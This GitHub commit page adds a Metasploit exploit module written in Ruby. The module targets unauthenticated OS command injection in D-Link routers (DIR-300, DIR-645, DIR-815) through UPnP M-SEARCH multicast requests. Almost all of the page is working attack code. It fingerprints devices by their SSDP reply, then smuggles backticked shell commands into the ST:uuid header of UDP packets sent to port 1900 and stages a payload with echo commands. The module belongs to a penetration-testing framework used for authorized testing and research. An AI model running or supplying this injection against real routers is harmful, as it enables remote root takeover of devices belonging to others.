Skip to content

Commit 46f5282

Browse files
committed
Land rapid7#3455, @m-1-k-3's exploit for DLink UPNP M-Search Command Injection
2 parents dbe9b47 + 611b8a1 commit 46f5282

File tree

1 file changed

+146
-0
lines changed

1 file changed

+146
-0
lines changed
Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::CmdStager
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection',
16+
'Description' => %q{
17+
Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast
18+
requests. This module has been tested on DIR-300 and DIR-645 devices. Zacharia Cutlip
19+
has initially reported the DIR-815 vulnerable. Probably there are other devices also
20+
affected.
21+
},
22+
'Author' =>
23+
[
24+
'Zachary Cutlip', # Vulnerability discovery and initial exploit
25+
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module and verification on other routers
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], # original exploit
31+
['URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'] # original exploit
32+
],
33+
'DisclosureDate' => 'Feb 01 2013',
34+
'Privileged' => true,
35+
'Targets' =>
36+
[
37+
[ 'MIPS Little Endian',
38+
{
39+
'Platform' => 'linux',
40+
'Arch' => ARCH_MIPSLE
41+
}
42+
],
43+
[ 'MIPS Big Endian', # unknown if there are big endian devices out there
44+
{
45+
'Platform' => 'linux',
46+
'Arch' => ARCH_MIPS
47+
}
48+
]
49+
],
50+
'DefaultTarget' => 0
51+
))
52+
53+
register_options(
54+
[
55+
Opt::RHOST(),
56+
Opt::RPORT(1900)
57+
], self.class)
58+
59+
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
60+
end
61+
62+
def check
63+
configure_socket
64+
65+
pkt =
66+
"M-SEARCH * HTTP/1.1\r\n" +
67+
"Host:239.255.255.250:1900\r\n" +
68+
"ST:upnp:rootdevice\r\n" +
69+
"Man:\"ssdp:discover\"\r\n" +
70+
"MX:2\r\n\r\n"
71+
72+
udp_sock.sendto(pkt, rhost, rport, 0)
73+
74+
res = nil
75+
1.upto(5) do
76+
res,_,_ = udp_sock.recvfrom(65535, 1.0)
77+
break if res and res =~ /SERVER:\ Linux,\ UPnP\/1\.0,\ DIR-...\ Ver/mi
78+
udp_sock.sendto(pkt, rhost, rport, 0)
79+
end
80+
81+
# UPnP response:
82+
# [*] 192.168.0.2:1900 SSDP Linux, UPnP/1.0, DIR-645 Ver 1.03 | http://192.168.0.2:49152/InternetGatewayDevice.xml | uuid:D02411C0-B070-6009-39C5-9094E4B34FD1::urn:schemas-upnp-org:device:InternetGatewayDevice:1
83+
# we do not check for the Device ID (DIR-645) and for the firmware version because there are different
84+
# dlink devices out there and we do not know all the vulnerable versions
85+
86+
if res && res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi
87+
return Exploit::CheckCode::Detected
88+
end
89+
90+
Exploit::CheckCode::Unknown
91+
end
92+
93+
def execute_command(cmd, opts)
94+
configure_socket
95+
96+
pkt =
97+
"M-SEARCH * HTTP/1.1\r\n" +
98+
"Host:239.255.255.250:1900\r\n" +
99+
"ST:uuid:`#{cmd}`\r\n" +
100+
"Man:\"ssdp:discover\"\r\n" +
101+
"MX:2\r\n\r\n"
102+
103+
udp_sock.sendto(pkt, rhost, rport, 0)
104+
end
105+
106+
def exploit
107+
print_status("#{rhost}:#{rport} - Trying to access the device via UPnP ...")
108+
109+
unless check == Exploit::CheckCode::Detected
110+
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to access the vulnerable device")
111+
end
112+
113+
print_status("#{rhost}:#{rport} - Exploiting...")
114+
execute_cmdstager(
115+
:flavor => :echo,
116+
:linemax => 950
117+
)
118+
end
119+
120+
# the packet stuff was taken from the module miniupnpd_soap_bof.rb
121+
# We need an unconnected socket because SSDP replies often come
122+
# from a different sent port than the one we sent to. This also
123+
# breaks the standard UDP mixin.
124+
def configure_socket
125+
self.udp_sock = Rex::Socket::Udp.create({
126+
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
127+
})
128+
add_socket(self.udp_sock)
129+
end
130+
131+
#
132+
# Required since we aren't using the normal mixins
133+
#
134+
135+
def rhost
136+
datastore['RHOST']
137+
end
138+
139+
def rport
140+
datastore['RPORT']
141+
end
142+
143+
# Accessor for our UDP socket
144+
attr_accessor :udp_sock
145+
146+
end

0 commit comments

Comments
 (0)